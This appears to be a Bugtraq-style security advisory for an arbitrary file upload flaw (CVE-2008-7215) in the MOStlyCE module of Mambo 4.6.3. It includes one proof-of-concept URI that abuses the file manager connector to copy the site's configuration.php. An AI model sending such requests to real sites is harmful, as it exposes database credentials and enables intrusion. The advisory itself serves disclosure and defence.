Mambo MOStlyCE Module Image Manager Utility Arbitrary File Upload Vulnerability

Bugtraq ID:	27472
Class:	Input Validation Error
CVE:	CVE-2008-7215
Remote:	Yes
Local:	No
Published:	Jan 28 2008 12:00AM
Updated:	May 07 2015 05:33PM
Credit:	AmnPardaz Security Research Team discovered this issue.
Vulnerable:	Mambo MOStlyCE 2.4 Mambo Mambo Open Source 4.6.3
Not Vulnerable:

Mambo MOStlyCE Module Image Manager Utility Arbitrary File Upload Vulnerability

The MOStlyCE module for Mambo is prone to an arbitrary-file-upload vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to upload and execute arbitrary script code in the context of the affected webserver process.

MOStlyCE 2.4 included with Mambo 4.6.3 is vulnerable; other versions may also be affected.

Mambo MOStlyCE Module Image Manager Utility Arbitrary File Upload Vulnerability

Attackers may exploit this issue through a browser.

The following proof-of-concept URI is available:

http://localhost/MamboV4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=FileUpload&file=a&file[NewFile][name]=abc.gif&file[NewFile][tmp_name]=C:/path/to/MamboV4.6.2/configuration.php&file[NewFile][size]=1&CurrentFolder=

Mambo MOStlyCE Module Image Manager Utility Arbitrary File Upload Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Mambo MOStlyCE Module Image Manager Utility Arbitrary File Upload Vulnerability

References:

• Mambo Homepage (Mambo)
  
• Mambo 4.6.3 arbitrary file upload (Pawel Laskarzewski )
  
• Mambo 4.6.3 Path Disclosure, XSS , XSRF, DOS ([email protected])